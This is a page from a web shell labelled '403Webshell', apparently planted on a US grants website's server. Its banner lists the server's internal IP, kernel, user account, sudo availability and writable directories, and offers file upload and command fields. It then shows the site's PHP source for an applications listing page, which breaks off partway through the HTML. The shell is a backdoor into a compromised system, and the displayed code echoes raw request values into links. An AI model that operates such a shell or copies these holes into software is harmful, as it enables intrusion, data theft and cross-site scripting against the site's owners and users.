403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/governmentgrants.us/vx/usa/applications/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/governmentgrants.us/vx/usa/applications/index.php
<?php
	session_start();
	include_once($_SERVER['DOCUMENT_ROOT'].'/vx/lib/ua.php');
	include_once($_SERVER['DOCUMENT_ROOT'].'/vx/lib/func.php');
	include_once($_SERVER['DOCUMENT_ROOT'].'/vx_/site_info.php');
	include_once($_SERVER['DOCUMENT_ROOT'].'/vx/lib/mysql.php');
	include_once($_SERVER['DOCUMENT_ROOT'].'/vx/lib/States.php');
	$user = $_SESSION['user'];
	ob_start();
	
	$top_apps_only = (empty($_GET['top'])) ? 0 : 1;
	$newest_apps_only = (empty($_GET['new'])) ? 0 : 1;
	$favorite_apps_only = (empty($_GET['fav'])) ? 0 : 1;
	$all_apps_only = (empty($top_apps_only) && empty($newest_apps_only) && empty($favorite_apps_only)) ? 1 : 0;
	
	$not_ignored_where = " AND gg.grants_id NOT IN (SELECT grants_id FROM grdb.grd_usa_ignored_grants WHERE site_code='".$db->clean($siteCode)."' AND client_id='".$db->clean($_SESSION['user'])."')";
	if(!empty($_GET['ignored'])) {
		$not_ignored_where = " AND gg.grants_id IN (SELECT grants_id FROM grdb.grd_usa_ignored_grants WHERE site_code='".$db->clean($siteCode)."' AND client_id='".$db->clean($_SESSION['user'])."')";
	}
	$cat_colors = array('#5C5CFF','#95AAEF','#ADCDFF','#DADCD1','#FFDE85','#FECA72','#FCBA73','#FE9686','#FF7096','#FF5C8A');
	$cat_color_id = -1;
	$main_cats = array();
	$main_cats_color = array();
	$sub_cats = array();
	$sub_subcats = array();
	$cat_name = '';
	$subcat_name = '';
	$subsubcat_name = '';
	$res = $db->get_results("SELECT id,parent_id,category_name,icon
							FROM grdb.grant_categories_new
							WHERE active=1
							AND parent_id='0'
							ORDER BY sort_order ASC, category_name ASC");
	foreach($res as $r) {
		$main_cats[$r->id] = $r;
		$cat_color_id++;
		if($cat_color_id >= count($cat_colors)) {
			$cat_color_id = 0;
		}
		$main_cats_color[$r->id] = $cat_colors[$cat_color_id];
		if(!empty($_REQUEST['ct'])) {
			if($r->id==$_REQUEST['ct']) {
				$cat_name = $r->category_name;
			}
		}
	}
	
	// Get database stats
	$gs = $db->get_results("SELECT COUNT(*) as c FROM grdb.grd_grants WHERE ts >= '".date('Y-m-d',strtotime('-7 day'))." 00:00:00'");
	$last_7_days = $gs[0]->c;
	$gs = $db->get_results("SELECT COUNT(*) as c FROM grdb.grd_grants WHERE ts >= '".date('Y-m-d',strtotime('-30 day'))." 00:00:00'");
	$last_30_days = $gs[0]->c;
	$gs = $db->get_results("SELECT COUNT(*) as c,SUM(amount) as s FROM grdb.grd_grants WHERE ts >= '".date('Y-m-d',strtotime('-90 day'))." 00:00:00'");
	$last_90_days = $gs[0]->c;
	$last_90_days_money = $gs[0]->s;
	$gs = $db->get_results("SELECT SUM(amount) as s FROM grdb.grd_grants WHERE deadline='0000-00-00' OR deadline >= CURDATE()");
	$all_grants_money = $gs[0]->s;
	
	$top_apps_only_where = '';
	$top_apps_only_where_cat = '';
	if(!empty($top_apps_only)) {
		$top_apps_only_where_cat = " AND n.id IN (SELECT category_id FROM grdb.popular_grants WHERE 1)";
		$top_apps_only_where = " AND gg.grants_id IN (SELECT grants_id FROM grdb.popular_grants WHERE 1)";
	}
	
	if(!empty($_REQUEST['ct'])) {
		$res = $db->get_results("SELECT n.id,n.parent_id,n.category_name,n.grant_count as c
									FROM grdb.grant_categories_new n
									WHERE n.active=1
									AND n.parent_id='".$db->clean($_REQUEST['ct'])."'
									{$top_apps_only_where_cat}
									GROUP BY n.id
									ORDER BY sort_order ASC, category_name ASC");
		foreach($res as $rk=>$r) {
			if($r->c*1 > 0) {
				$sub_cats[$r->parent_id][$r->id] = $r;
			}
			if(!empty($_REQUEST['sct'])) {
				if($r->id==$_REQUEST['sct']) {
					$subcat_name = $r->category_name;
				}
			}
		}
		if(!empty($_REQUEST['sct'])) {
			//does this need cleared
			$is_there = false;
			foreach($sub_cats[$_REQUEST['ct']] as $r) {
				if($r->id==$_REQUEST['sct']) {
					$is_there = true;
				}
			}
			if(!$is_there) {
				$_REQUEST['sct'] = 0;
			}
		}
	}
	if(!empty($_REQUEST['sct'])) {
		$res = $db->get_results("SELECT n.id,n.parent_id,n.category_name,n.grant_count as c
									FROM grdb.grant_categories_new n
									WHERE n.active=1
									AND n.parent_id='".$db->clean($_REQUEST['sct'])."'
									{$top_apps_only_where_cat}
									GROUP BY n.id
									ORDER BY sort_order ASC, category_name ASC");
		foreach($res as $r) {
			if($r->c*1 > 0) {
				$sub_subcats[$r->parent_id][$r->id] = $r;
			}
			if(!empty($_REQUEST['ssct'])) {
				if($r->id==$_REQUEST['ssct']) {
					$subsubcat_name = $r->category_name;
				}
			}
		}
		if(!empty($_REQUEST['ssct'])) {
			//does this need cleared
			$is_there = false;
			foreach($sub_subcats[$_REQUEST['sct']] as $r) {
				if($r->id==$_REQUEST['ssct']) {
					$is_there = true;
				}
			}
			if(!$is_there) {
				$_REQUEST['ssct'] = 0;
			}
		}
	}
	
	$gets_new_stuff = '';
	if(empty($_SESSION['subscriptions'][2])) {
		$gets_new_stuff = " AND gg.ts < '".date('Y-m-d',strtotime('-30 day'))." 00:00:00'";
	}
	$newest_apps_where = '';
	if(!empty($newest_apps_only)) {
		$gets_new_stuff = '';
		$newest_apps_where = " AND gg.ts >= '".date('Y-m-d',strtotime('-30 day'))." 00:00:00'";
	}
	$favorites_where = '';
	if(!empty($favorite_apps_only)) {
		$favorites_where = " AND gg.grants_id IN (SELECT grants_id FROM grdb.grd_usa_saved_grants WHERE site_code='".$db->clean($siteCode)."' AND client_id='".$db->clean($_SESSION['user'])."')";
	}

	$where = '';
	
	$keyword_where = '';
	$keyword = '';
	if(!empty($_REQUEST['search'])) {
		$keyword = trim($_REQUEST['search']);
		if(strpos($keyword,' ')!==false) {
			$keywords = explode(' ',$keyword);
			foreach($keywords as $keyword) {
				$keyword = $db->clean($keyword);
				$keyword_where .= " AND 
								(
									gg.name LIKE '%$keyword%' 
									OR 
										gg.description LIKE '%$keyword%' 
									OR 
										gg.org_name LIKE '%$keyword%' 
									OR 
										gg.who LIKE '%$keyword%' 
									OR 
										gg.requirements LIKE '%$keyword%' 
									OR
										gg.only_available_state LIKE '%$keyword%' 
									OR
										gg.only_available_gender LIKE '%$keyword%' 
								)";
			}
		} else {
			$keyword = $db->clean($keyword);
			$keyword_where = " AND 
							(
								gg.name LIKE '%$keyword%' 
								OR 
									gg.description LIKE '%$keyword%' 
								OR 
									gg.org_name LIKE '%$keyword%' 
								OR 
									gg.who LIKE '%$keyword%' 
								OR 
									gg.requirements LIKE '%$keyword%' 
								OR
									gg.only_available_state LIKE '%$keyword%' 
								OR
									gg.only_available_gender LIKE '%$keyword%' 
							)";
		}
	}
	
	$state_where = '';
	if(!empty($_REQUEST['state'])) {
		if(empty($_REQUEST['state_type'])) {
			$_REQUEST['state_type'] = 'o';
		}
		if($_REQUEST['state_type']=='o') {
			$state_where = " AND gg.only_available_state LIKE '%".$db->clean($_REQUEST['state'])."%'";
		} else {
			$state_where = " AND gg.only_available_state='Any'";
		}
	}
	$type_where = '';
	if(!empty($_REQUEST['tpid'])) {
		$type_where = " AND gg.types_id='".$db->clean($_REQUEST['tpid'])."'";
	}

	$page = 1;
	$per_page = 20;
	if(!empty($_REQUEST['page'])) {
		$page = $_REQUEST['page'];
	}
	
	if(!empty($_REQUEST['page']) && $_REQUEST['page']!='1') {
		track_member_action('Changed Page',$cat_name.' - '.$_REQUEST['page']);
	} elseif(!empty($keyword)) {
		track_member_action('Searched',$keyword);
	} elseif(!empty($_REQUEST['ssct'])) {
		track_member_action('Change Sub-Sub-Category',$subsubcat_name);
	} elseif(!empty($_REQUEST['sct'])) {
		track_member_action('Change Sub-Category',$subcat_name);
	} elseif(!empty($_REQUEST['state'])) {
		track_member_action('Change State',$cat_name.' - '.$_REQUEST['state']);
	} elseif(!empty($_REQUEST['ct'])) {
		track_member_action('Change Category',$cat_name);
	} else {
		if(!empty($top_apps_only)) {
			track_member_action('Page Visit','Top Applications');
		} elseif(!empty($newest_apps_only)) {
			track_member_action('Page Visit','New Applications');
		} else {
			track_member_action('Page Visit','All Applications');
		}
	}
	
	$popular_list = array();
	$popular_title = $cat_name;
	
	if(!empty($user) && (!empty($_REQUEST['ct']) || !empty($_REQUEST['search']) || !empty($_REQUEST['state']))) {
		if(!empty($_REQUEST['ct'])) {
			$where = " AND gbg.grant_categories_id = '".$db->clean($_REQUEST['ct'])."'";
		}
		if(!empty($_REQUEST['sct'])) {
			$where = " AND gbg.grant_categories_id = '".$db->clean($_REQUEST['sct'])."'";
		}
		if(!empty($_REQUEST['ssct'])) {
			$where = " AND gbg.grant_categories_id = '".$db->clean($_REQUEST['ssct'])."'";
		}
		if(empty($top_apps_only)) {
			$res = $db->get_results("SELECT COUNT(DISTINCT(gg.grants_id)) as c
									FROM grdb.grant_categories_new_grants gbg
									LEFT JOIN grdb.grd_grants AS gg ON gbg.grants_id=gg.grants_id
									WHERE (gg.deadline='0000-00-00' OR gg.deadline >= CURDATE())
									{$gets_new_stuff}
									{$newest_apps_where}
									{$where}
									{$keyword_where}
									{$state_where}
									{$type_where}
									{$top_apps_only_where}
									{$favorites_where}
									{$not_ignored_where}
									AND gg.bad_url=0");
			$total_count = $res[0]->c;
			if($total_count == 0 && !empty($keyword_where) && !empty($where)) {
				$where = '';
				$_REQUEST['ct'] = '';
				$_REQUEST['sct'] = '';
				$_REQUEST['ssct'] = '';
				$_REQUEST['no_cat'] = 1;
				$res = $db->get_results("SELECT COUNT(DISTINCT(gg.grants_id)) as c
									FROM grdb.grant_categories_new_grants gbg
									LEFT JOIN grdb.grd_grants AS gg ON gbg.grants_id=gg.grants_id
									WHERE (gg.deadline='0000-00-00' OR gg.deadline >= CURDATE())
									{$gets_new_stuff}
									{$newest_apps_where}
									{$where}
									{$keyword_where}
									{$state_where}
									{$type_where}
									{$top_apps_only_where}
									{$favorites_where}
									{$not_ignored_where}
									AND gg.bad_url=0");
				$total_count = $res[0]->c;
			}
			
			$max_page = ceil($total_count/$per_page);
			if($page<1) {
				$page = 1;
			}
			if($page>$max_page) {
				$page = $max_page;
			}
			$limit = '';
			if($total_count >= $per_page) {
				$limit = "LIMIT ".(($page-1)*$per_page).", ".$per_page;
			}
			
			//$order_by = 'ORDER BY no_deadline ASC,deadline ASC, amount DESC';
			$order_by = 'ORDER BY last_updated DESC';
			if(!empty($_REQUEST['odr'])) {
				switch($_REQUEST['odr']) {
					case 'deadline':
						$order_by = 'ORDER BY no_deadline ASC,deadline ASC, last_updated DESC';
						break;
					case 'added':
						$order_by = 'ORDER BY last_updated DESC';
						break;
					case 'amount':
						$order_by = 'ORDER BY amount DESC, last_updated DESC';
						break;
				}
			}
			$grant_list = $db->get_results(" 
										SELECT 
												gg.*,
												gusg.id AS favorite,
												gt.name AS grant_type,
												IF(gg.deadline='0000-00-00',1,0) as no_deadline,
												ggl.bg_color_hex,
												ggl.logo_url
										FROM grdb.grant_categories_new_grants gbg
										LEFT JOIN grdb.grd_grants AS gg ON gbg.grants_id=gg.grants_id
										LEFT JOIN grdb.grd_usa_saved_grants AS gusg
											ON gg.grants_id = gusg.grants_id
											AND gusg.client_id = '$user'
											AND gusg.site_code = '$siteCode'
										LEFT JOIN grdb.grd_types AS gt 
											ON gt.types_id = gg.types_id
										LEFT JOIN grdb.grd_site_logos ggl ON ggl.site_domain=gg.base_url AND ggl.status='active'
										WHERE
											gg.deadline='0000-00-00'
											AND gg.bad_url=0
											{$gets_new_stuff}
											{$newest_apps_where}
											{$where}
											{$keyword_where}
											{$state_where}
											{$type_where}
											{$top_apps_only_where}
											{$favorites_where}
											{$not_ignored_where}
										GROUP BY gg.grants_id
										
										UNION SELECT 
												gg.*,
												gusg.id AS favorite,
												gt.name AS grant_type,
												IF(gg.deadline='0000-00-00',1,0) as no_deadline,
												ggl.bg_color_hex,
												ggl.logo_url
										FROM grdb.grant_categories_new_grants gbg
										LEFT JOIN grdb.grd_grants AS gg ON gbg.grants_id=gg.grants_id
										LEFT JOIN grdb.grd_usa_saved_grants AS gusg
											ON gg.grants_id = gusg.grants_id
											AND gusg.client_id = '$user'
											AND gusg.site_code = '$siteCode'
										LEFT JOIN grdb.grd_types AS gt 
											ON gt.types_id = gg.types_id
										LEFT JOIN grdb.grd_site_logos ggl ON ggl.site_domain=gg.base_url AND ggl.status='active'
										WHERE
											gg.deadline >= CURDATE()
											{$gets_new_stuff}
											{$newest_apps_where}
											{$where}
											{$keyword_where}
											{$state_where}
											{$type_where}
											{$top_apps_only_where}
											{$favorites_where}
											{$not_ignored_where}
											AND gg.bad_url=0
										GROUP BY gg.grants_id
										{$order_by}
										{$limit}
									");
		}
		if(!empty($_REQUEST['ct']) && empty($_REQUEST['sct']) && $page==1) {
			$popular_list = $db->get_results(" 
									SELECT 
											gg.*,
											gusg.id AS favorite,
											gt.name AS grant_type,
											IF(gg.deadline='0000-00-00',1,0) as no_deadline,
											ggl.bg_color_hex,
											ggl.logo_url,
											IF(gg.has_additional_fee_to_apply='Yes',1,0) as really_has_additional_fee_to_apply
									FROM grdb.popular_grants pg
									LEFT JOIN grdb.grd_grants AS gg ON pg.grants_id=gg.grants_id
									LEFT JOIN grdb.grd_usa_saved_grants AS gusg
										ON gg.grants_id = gusg.grants_id
										AND gusg.client_id = '$user'
										AND gusg.site_code = '$siteCode'
									LEFT JOIN grdb.grd_types AS gt 
										ON gt.types_id = gg.types_id
									LEFT JOIN grdb.grd_site_logos ggl ON ggl.site_domain=gg.base_url AND ggl.status='active'
									WHERE
										pg.category_id='".$db->clean($_REQUEST['ct'])."'
										AND (gg.deadline='0000-00-00' OR gg.deadline >= CURDATE())
										AND gg.bad_url=0
										{$favorites_where}
										{$not_ignored_where}
									GROUP BY gg.grants_id
									ORDER BY really_has_additional_fee_to_apply ASC, ts DESC
								");
			$popular_title = $cat_name;
		} elseif(!empty($_REQUEST['sct']) && $page==1) {
			$popular_list = $db->get_results(" 
									SELECT 
											gg.*,
											gusg.id AS favorite,
											gt.name AS grant_type,
											IF(gg.deadline='0000-00-00',1,0) as no_deadline,
											ggl.bg_color_hex,
											ggl.logo_url,
											IF(gg.has_additional_fee_to_apply='Yes',1,0) as really_has_additional_fee_to_apply
									FROM grdb.popular_grants pg
									LEFT JOIN grdb.grd_grants AS gg ON pg.grants_id=gg.grants_id
									LEFT JOIN grdb.grd_usa_saved_grants AS gusg
										ON gg.grants_id = gusg.grants_id
										AND gusg.client_id = '$user'
										AND gusg.site_code = '$siteCode'
									LEFT JOIN grdb.grd_types AS gt 
										ON gt.types_id = gg.types_id
									LEFT JOIN grdb.grd_site_logos ggl ON ggl.site_domain=gg.base_url AND ggl.status='active'
									WHERE
										pg.category_id IN ('".$db->clean($_REQUEST['sct'])."')
										AND (gg.deadline='0000-00-00' OR gg.deadline >= CURDATE())
										AND gg.bad_url=0
										{$favorites_where}
										{$not_ignored_where}
									GROUP BY gg.grants_id
									ORDER BY really_has_additional_fee_to_apply ASC, ts DESC
								");
			$popular_title = $subcat_name;
		}
		//$db->debug();
	} else {
		$grant_list = array();
		$limit = '';
	}
	
	$main_cats = array();
	$res = $db->get_results("SELECT gc.id,gc.category_name,gc.icon,COUNT(*) as c
							FROM grdb.grant_categories_new gc
							LEFT JOIN grdb.grant_categories_new_grants bcg ON bcg.grant_categories_id=gc.id
							LEFT JOIN grdb.grd_grants gg ON gg.grants_id=bcg.grants_id
							WHERE gc.active=1
							AND gc.parent_id=0
							AND (gg.deadline >= CURDATE() OR gg.deadline='0000-00-00')
							{$newest_apps_where}
							{$top_apps_only_where}
							{$favorites_where}
							{$not_ignored_where}
							AND gg.bad_url=0
							GROUP BY gc.id
							ORDER BY sort_order ASC, category_name ASC");
	foreach($res as $r) {
		$r->count = $r->c;
		$main_cats[$r->id] = $r;
	}
	
	$main_category_name = '';
	foreach($main_cats as $r) {
		if($r->id==$_REQUEST['ct']) {
			$main_category_name = $r->category_name;
		}
	}
?>
<script type="text/javascript">
	$('document').ready(function() {
		$('.nice-select').niceSelect();
	});
	function show_loading_filters() {
		$('#overlayMessageTitle').html('Loading');
		$('#overlayMessageSubtitle').html('Updating Filters');
		$('#showOverlayMessage').show();
	}
	function update_applications_search_filter(me) {
		show_loading_filters();
		$('[name=search]').val('');
		window.setTimeout(function() {
			$(me).parents('.application_filter_form:first').find('[name=submit]').click();
		},50);
	}
	<?php if(empty($_SESSION['subscriptions']['2'])) { ?>
	window.needs_upsell = 1;
	<?php } else { ?>
	window.needs_upsell = 0;
	<?php } ?>
	<?php if((!empty($_REQUEST['sct']) || !empty($_REQUEST['state']) || !empty($_REQUEST['tpid']))) { ?>
	$('document').ready(function() {
		$('html,body').animate({
			<?php if($phone) { ?>
			scrollTop: $('#search_form').offset().top - 200
			<?php } else { ?>
			scrollTop: $('#search_form').offset().top - 100
			<?php } ?>
		});
	});
	<?php } ?>
</script>
<style type="text/css">
	h1,h2,h3 {
		font-family:Helvetica;
	}
	.category_list {
		background: #d2c1f7;
		color:black;
	}
	.category_list ul.list {
		background:white;
		color:black;
	}
	.category_list .option:hover {
		background-color: #b38cf7;
		color:white;
	}
	.nice-select.category_list .list .option.selected {
		background-color: #b38cf7 !important;
		color:white;
	}
	
	.subcategory_list {
		background: #fbc5d8;
		color:black;
	}
	.subcategory_list ul.list {
		background:white;
		color:black;
	}
	.subcategory_list .option:hover {
		background-color: #f06e9c;
		color:white;
	}
	.nice-select.subcategory_list .list .option.selected {
		background-color: #f06e9c !important;
		color:white;
	}
	
	.subsubcategory_list {
		background: #d68226;
		color:white;
	}
	.subsubcategory_list ul.list {
		background:white;
		color:black;
	}
	.subsubcategory_list .option:hover {
		background-color: #ffb252;
		color:white;
	}
	.nice-select.subsubcategory_list .list .option.selected {
		background-color: #ffb252 !important;
		color:white;
	}
	
	.order_by_list {
		background: #edf1ea;
		color:black;
	}
	.order_by_list ul.list {
		background:white;
		color:black;
	}
	.order_by_list .option:hover {
		background-color: #72bb53;
		color:white;
	}
	.nice-select.order_by_list .list .option.selected {
		background-color: #72bb53 !important;
		color:white;
	}
	
	.state_list {
		background: #e9ecf7;
		color:black;
	}
	.state_list ul.list {
		background:white;
		color:black;
	}
	.state_list .option:hover {
		background-color: #8c9ef7;
		color:white;
	}
	.nice-select.state_list .list .option.selected {
		background-color: #8c9ef7 !important;
		color:white;
	}
	
	.type_list {
		background: #f7ece9;
		color:black;
	}
	.type_list ul.list {
		background:white;
		color:black;
	}
	.type_list .option:hover {
		background-color: #f79e8c;
		color:white;
	}
	.nice-select.type_list .list .option.selected {
		background-color: #f79e8c !important;
		color:white;
	}
	
	.category_box {
		text-align:center;
	}
	.category_box .iconItem {
		width:160px;
		height:112px;
	}
	.category_box .iconCell {
		height:70px;
	}
	.category_box .iconCell svg {
		width:50px;
	}
	
	.funding_added_recently {
		float: right;
		padding: 10px;
		border: 1px solid #4d7a34;
		text-align:right;
		width:230px;
		margin-bottom:10px;
	}
	
	#popular_grants_list {
		padding:20px 0px;
	}
	
	#popular_grants_real_list {
		padding:0px 50px;
	}
	
	.subcat_button {
		background:white;
		cursor:pointer;
		display:inline-block;
		padding:5px 10px;
		border: 2px solid black;
		border-radius:20px;
		margin:5px 10px;
	}
	
	.subcat_button_active {
		background: #91e4fb !important;
	}
	
	.subcat_button_name {
		font-weight:bold;
		font-size:14px;
		display:inline-block;
		vertical-align:middle;
	}
	
	.subcat_button_number {
		font-style:italic;
		font-size:11px;
		padding-left:3px;
		display:inline-block;
		vertical-align:middle;
	}
	
	.paging {
		display:inline-block;
		vertical-align:top;
		margin: -6px 5px 0px 5px;
	}
	.paging h3 {
		font-size:18px;
	}
	.paging button {
		font-size:10px;
	}
	
	.pop_grant {
		width:310px;
		height:250px;
		background:white;
		border:1px solid black;
		border-radius:25px;
		padding:10px;
		display:inline-block;
		vertical-align:top;
		position:relative;
		margin:10px;
	}
	.pop_grant p {
		word-break: break-word;
	}
	
	.mobile_break {
		display:inline-block;
	}
	
	.grant_number {
		position:absolute;
		top:0px;
		left:0px;
		display:inline-block;
		background:#999999;
		color:white;
		font-size:10px;
		padding:2px 5px;
		z-index:3;
	}
	
	.subcategory_description {
		padding:5px;
		background: #cbf3fd;
		border:1px solid #c7c7c7;
		margin:10px 0px;
	}
	.subcategory_description_title {
		color: #4a8d9e;
		font-size:14px;
	}
	.subcategory_description_body {
		padding-left:10px;
		color:black;
	}
	.section_box {
		padding:10px;
		border:2px solid #d8d8d8;
		border-radius:6px;
		margin:20px;
	}
	.section_box_link {
		display:block;
		text-decoration:none;
		color:inherit;
	}
	.section_header {
		font-size:20px;
		font-weight:bold;
	}
	.video {
		margin:10px auto;
		width:100%;
		position:relative;
	}
	.video img {
		width:100%;
	}
	#play_button {
		position: absolute;
		left: 42%;
		top: 37%;
		background: rgba(255,255,255,0.7);
		width: 100px;
		height: 100px;
		padding: 0px;
		border-radius: 60px;
		cursor: pointer;
		color: black;
		padding: 14px;
	}
	
	#back_to_top {
		position: fixed;
		left: 0px;
		right: 0px;
		margin:0px auto;
		bottom: 2px;
		border: 1px solid black;
		border-radius: 10px;
		padding: 0px !important;
		cursor: pointer;
		display: inline-block;
		width: 120px;
		background: white;
		z-index: 2;
		text-align: center;
	}
	
	.categories-grid {
		display: grid;
		grid-template-columns: repeat(auto-fit, minmax(150px, 1fr));
		gap: 1rem;
		margin: 2rem 0;
	}
	.category-card {
		background: white;
		border: 2px solid transparent;
		border-radius: 12px;
		padding: 1.5rem;
		text-align: center;
		box-shadow: 0 2px 8px rgba(0,0,0,0.1);
		transition: all 0.3s ease;
		cursor: pointer;
		text-decoration: none;
		color: inherit;
	}
	.category-card:hover {
		border-color: #22c55e;
		box-shadow: 0 8px 25px rgba(0,0,0,0.15);
		transform: translateY(-2px);
	}
	.category-icon {
		width: 40px;
		height: 40px;
		margin: 0 auto 1rem;
		color: #22c55e;
	}
	.stats-overview {
		background: white;
		border-radius: 12px;
		padding: 2rem;
		box-shadow: 0 2px 8px rgba(0,0,0,0.1);
		max-width:1380px;
		margin:2rem auto;
	}
	.stats-grid {
		display: grid;
		grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
		gap: 1.5rem;
		margin: 1.5rem 0;
	}
	.stat-box {
		text-align: center;
		padding: 1rem;
	}
	.stat-number {
		font-size: 1.5rem;
		font-weight: bold;
		color: #22c55e;
		margin-bottom: 0.5rem;
	}
	.stat-label {
		font-size: 0.875rem;
		color: #6b7280;
	}
	.stat-box .stat-number {
		font-size:2.5rem;
	}
	.stat-box .stat-label {
		font-size:1.25rem;
	}
	.stats-grid {
		grid-template-columns: repeat(auto-fit, 23%);
	}
	.countdown-timer {
		margin-bottom:10px;
	}
	.countdown-timer .text-lg, .countdown-timer .text-xs, .countdown-timer .text-sm {
		font-size:12px;
	}
	.max-w-7xl {
		max-width:112rem;
	}
	.min-h-400px {
		min-height:350px;
	}
	.grid-cols-4 {
		grid-template-columns: repeat(4, minmax(0, 1fr));
	}
	@media only screen and (max-width: 960px) {
		.stats-grid {
			grid-template-columns: repeat(auto-fit, 47%);
		}
	}
	@media only screen and (max-width: 650px) {
		.categories-grid {
			grid-template-columns: repeat(auto-fit, 47%);
		}
		.w-4 {
			width:1.5rem;
		}
		.h-4 {
			height:1.5rem;
		}
		.w-8 {
			width:3rem;
		}
		.h-8 {
			height:3rem;
		}
	}
	
	@media screen and (max-width: 600px) {
		.category_box .iconItem {
			width:130px;
			height:100px;
		}
		.category_box .iconCell {
			height:50px;
		}
		.category_box .iconCell svg {
			width:48px;
		}
		.funding_added_recently {
			float:none;
			margin:0px auto;
			width:200px;
		}
		.application_filter_form .rib {
			clear:both;
		}
		#popular_grants_real_list {
			padding: 0px;
		}
		.pop_grant, .paging {
			width:95%;
		}
		.mobile_break {
			display:block;
			clear:both;
		}
		html, body {
		  overflow-x: hidden;
		}
		body {
		  position: relative
		}
		.mobile_18 {
			font-size:18px !important;
		}
		.mobile_16 {
			font-size:16px !important;
		}
		.breadcrumbs_container {
			text-align:center;
		}
	}
</style>
<div id="back_to_top" onclick="$('html,body').animate({scrollTop: 0}, 500);">
	Back to Top
</div>
<div class="rb p20 top">
	<?php
	if(!empty($top_apps_only)) {
		?>
		<h2><span class="fas fa-trophy" style="color:#004f63;"></span> Top Applications</h2>
		<div style="margin:0px 0px 20px 0px;border-bottom:1px solid black;">
			<div><span style="font-size:30px;font-family:Helvetica;font-weight:bold;color:#004e63;">Start Applying to these Top Applications Today</span></div>
			<div style="padding-bottom:10px;padding-left:10px;">
				<div><i>Here are the top applications for this category from our grant research team. <strong>These are the application sources you should start applying to FIRST.</strong> Click on the "<strong>Video Tutorial</strong>" button <i class="fas fa-circle-play f20" style="color:red;"></i> to watch a short video about each funding source. You can also view ALL the grant sources below in the "<strong>All Funding Sources</strong>" for this category.</i></div>
			</div>
		</div>
		<?php
	} elseif(!empty($newest_apps_only)) {
		?>
		<h2><span class="fas fa-star" style="color:goldenrod;"></span> New Applications</h2>
		<p>Here are the NEWEST applications we've found! Select the category you are interested in to display the funding below.</p>
		<?php
	} else {
		?>
		<h2><span class="fas fa-money-bill-1" style="color:#4c7a34;"></span> All Applications</h2>
		<?php
	}
	?>
	<hr />
	<?php
		$gs = $db->get_results("SELECT COUNT(*) as c FROM grdb.grd_grants WHERE ts >= '".date('Y-m-d',strtotime('-30 day'))." 00:00:00'");
		$last_30_days = $gs[0]->c;
		/*
		$gs = $db->get_results("SELECT COUNT(*) as c FROM grdb.grd_grants WHERE ts >= '".date('Y-m-d',strtotime('-7 day'))." 00:00:00'");
		$last_7_days = $gs[0]->c;
		$gs = $db->get_results("SELECT COUNT(*) as c FROM grdb.grd_grants WHERE ts >= '".date('Y-m-d',strtotime('-90 day'))." 00:00:00'");
		$last_90_days = $gs[0]->c;
	?>
	<div class="funding_added_recently">
		<div class="f22 mobile_18" style="text-decoration:underline;font-weight:bold;color:#4d7a34;">Applications Added</div>
		<?php if($last_7_days >= 50) { ?>
		<div class="f18 mobile_16" style="color:#5125ad;">Last <strong>7</strong> Days: <strong><?= number_format($last_7_days);?></strong></div>
		<?php } ?>
		<div class="f18 mobile_16" style="color:#d68226;">Last <strong>30</strong> Days: <strong><?= number_format($last_30_days);?></strong></div>
		<div class="f18 mobile_16" style="color:#4d7a34;">Last <strong>90</strong> Days: <strong><?= number_format($last_90_days);?></strong></div>
	</div>
	<?php */ ?>
	<?php if(!$phone) { ?>
	<div class="rb">
		<div class="rb f18 bold left breadcrumbs_container mobile_18">
			<?php if(!empty($newest_apps_only)) { ?>
				<a href="/vx/usa/applications/new.php" style="display:inline-block !important;"><div class="relative iblock glyphicons glyphicons-home f18 mobile_18" style="top:-4px;"></div></a>
				<a href="/vx/usa/applications/new.php" style="display:inline-block !important;"><u>Home</u></a>
				<?php if(!empty($_REQUEST['ct'])) { ?>
					&rarr; <a href="/vx/usa/applications/new.php?ct=<?= $_REQUEST['ct'];?>" style="display:inline-block !important;"><u><?= $main_cats[$_REQUEST['ct']]->category_name;?></u></a>
				<?php } ?>
				<?php if(!empty($_REQUEST['sct'])) { ?>
					&rarr; <a href="/vx/usa/applications/new.php?ct=<?= $_REQUEST['ct'];?>&sct=<?= $_REQUEST['sct'];?>" style="display:inline-block !important;"><u><?= $sub_cats[$_REQUEST['ct']][$_REQUEST['sct']]->category_name;?></u></a>
				<?php } ?>
				<?php if(!empty($_REQUEST['ssct'])) { ?>
					&rarr; <a href="/vx/usa/applications/new.php?ct=<?= $_REQUEST['ct'];?>&sct=<?= $_REQUEST['sct'];?>&ssct=<?= $_REQUEST['ssct'];?>" style="display:inline-block !important;"><u><?= $sub_subcats[$_REQUEST['sct']][$_REQUEST['ssct']]->category_name;?></u></a>
				<?php } ?>
			<?php } elseif(!empty($top_apps_only)) { ?>
				<a href="/vx/usa/applications/top.php" style="display:inline-block !important;"><div class="relative iblock glyphicons glyphicons-home f18 mobile_18" style="top:-4px;"></div></a>
				<a href="/vx/usa/applications/top.php" style="display:inline-block !important;"><u>Home</u></a>
				<?php if(!empty($_REQUEST['ct'])) { ?>
					&rarr; <a href="/vx/usa/applications/top.php?ct=<?= $_REQUEST['ct'];?>" style="display:inline-block !important;"><u><?= $main_cats[$_REQUEST['ct']]->category_name;?></u></a>
				<?php } ?>
				<?php if(!empty($_REQUEST['sct'])) { ?>
					&rarr; <a href="/vx/usa/applications/top.php?ct=<?= $_REQUEST['ct'];?>&sct=<?= $_REQUEST['sct'];?>" style="display:inline-block !important;"><u><?= $sub_cats[$_REQUEST['ct']][$_REQUEST['sct']]->category_name;?></u></a>
				<?php } ?>
				<?php if(!empty($_REQUEST['ssct'])) { ?>
					&rarr; <a href="/vx/usa/applications/top.php?ct=<?= $_REQUEST['ct'];?>&sct=<?= $_REQUEST['sct'];?>&ssct=<?= $_REQUEST['ssct'];?>" style="display:inline-block !important;"><u><?= $sub_subcats[$_REQUEST['sct']][$_REQUEST['ssct']]->category_name;?></u></a>
				<?php } ?>
			<?php } else { ?>
